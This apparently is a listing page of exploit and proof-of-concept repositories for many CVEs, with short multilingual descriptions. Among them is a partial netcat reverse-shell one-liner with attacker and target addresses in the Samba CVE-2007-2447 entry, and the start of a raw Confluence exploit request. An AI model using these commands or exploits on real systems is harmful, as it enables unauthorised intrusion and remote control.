WSUSResponder

🧰 WSUSResponder Version : 1.0.1 Auteur : RZA / IT Operations Licence :MIT 🎯 Objectif Le module WSUSResponder fournit un ensemble d’outils PowerShell pour répondre rapidement à la vulnérabilité critique CVE-2025-59287 , une faille d’exécution de code à distance RCE affectant Windows Server Update...

CVE-2025-62593-PoC

CVE-2025-62593 — Exécution de code à distance dans Ray non authentifiée Proof-of-concept de la CVE-2025-62593 , une vulnérabilité d'exécution de code à distance non authentifiée dans le moteur de calcul IA distribué Ray, exploitée via des attaques de rebinding DNS basées sur le navigateur. Elle a...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 هي ثغرة قراءة ملفات عشوائية بدون مصادقة، ولا يمكن اعتبارها أقل من ثغرة تنفيذ أوامر عن بُعد RCE كاملة بدون مصادقة. يمكن للمهاجم قراءة أي ملفات حساسة موجودة على الجهاز المتأثر بصلاحيات superuser. يمكن للمهاجم استرجاع محتويات ملف ntds.dit أ...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP هو خادم نقل ملفات خاص متعدد البروتوكولات ومتعدد المنصات. CVE-2024-4040 - ثغرة حقن القوالب من جانب الخادم في CrushFTP بجميع الإصدارات قبل 10.7.1 و11.1.0 على جميع المنصات تسمح للمهاجمين عن بُعد غير المصادَق عليهم بقراءة أي ملفات من نظام الملفات خارج VFS...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz هو نظام مفتوح المصدر لتخطيط موارد المؤسسات. يوفر مجموعة من تطبيقات المؤسسات التي تدمج وتؤتمت العديد من العمليات التجارية للمؤسسة. CVE-2024-38856 هو ثغرة قبل المصادقة في Apache OFBiz يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الإصدارات المتأثرة :...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow هي منصة للتحول في الأعمال تساعد الشركات على إدارة سير العمل الرقمية لعمليات المؤسسات. CVE-2024-4879 قد تسمح لمستخدم غير مصادق بتنفيذ تعليمات برمجية عن بُعد داخل منصة Now. تستغل هذه الثغرة ثلاث مشكلات عبر ربطها معًا: حقن العنوان، وتجاوز تخفيف حقن القوالب، وتجاوز...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT Method Arbitrary File Write CVE-2017-12615 Graphical Exploitation Tool Vulnerability Introduction On September 19, 2017, Apache Tomcat officially confirmed and fixed two high-risk vulnerabilities, with CVE IDs: CVE-2017-12615 and CVE-2017-12616. Among them, the remote...

CVE-2017-9791

CVE-2017-9791 Metasploit module for Apache Struts CVE-2017-9791 Remote Code Execution Vulnerability...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE यह रिपॉजिटरी Adobe ColdFusion 2018 में RCE भेद्यता के लिए मेरे एक्सप्लॉइट कोड को शामिल करता है। एक्सप्लॉइट विवरण एक्सप्लॉइट /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm पर एक JSP रिवर्स शेल युक्त POST अनुरोध भेजता है। यदि सफल होता है, ...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f उपयोग root@kitploit: लक्ष्य 10.129.232.46 को पोर्ट 445 पर एक्सप्लॉइट करें, 10.10.14.82 को पोर्ट 443 पर रिवर्स शेल वापस भेजें python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 कस्टम rport और lport के साथ python3...

rails-activestorage-vips-audit

rails-activestorage-vips-audit An Agent Skill that audits Ruby on Rails repositories for exposure to CVE-2026-66066 KindaRails2Shell — the Active Storage libvips variant-processing vulnerability that allows arbitrary file read and, in a Rails application, remote code execution. The skill is a...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE مقدمة المشروع والمبدأ أول EXP في العالم يستغل ثغرة CVE-2024-4577 PHP-CGI RCE باستخدام بيئة PHP الافتراضية XAMPP. أول استغلال في العالم لثغرة CVE-2024-4577 PHP-CGI RCE باستخدام بيئة PHP الافتراضية. يشارك الاستغلال الأصلي، ويدعم SSRF، ويدعم تجاوز WAF. تحقيق RCE في بيئة PHP...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installation root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Usage Because this tool is a POC written according to the development specification of the pocsuite3 framework. Please download pocsuite3 before using it. Project address...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 रिमोट कोड निष्पादन...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2025-24813

Description This repository is an environment for reproducing the latest RCE of CVE-2025-24813 Tomcat. For learning and research purposes only! Exploitation Conditions The application has enabled the DefaultServlet write functionality, which is disabled by default. The application supports partia...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — استيلاء مجهول على حساب في FreeScout → تنفيذ تعليمات برمجية عن بُعد RCE تنفيذ تعليمات برمجية عن بُعد دون مصادقة في FreeScout ≤ 1.8.223 نظام دعم فني مبني على Laravel عبر ربط ثغرتين، وكلتاهما أُصلحتا في 1.8.224 : CVE-2026-53595 — استيلاء مجهول على الحساب. يختار POST...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false أثناء معالجة الرفع. يمكن لمستخدم موثَّق يمتلك صلاحيات الاستيراد — مثل مسؤول الموقع الافتراضي أو مسؤول موقع غير Super Admin في بنية ووردبريس متعددة المواقع Multisite — تجاوز إنفاذ قيود الملفات لرفع نصوص PHP قابلة للتنفيذ بشكل تعسفي مباشرةً إلى الدليل العام...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector पथ ट्रैवर्सल CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...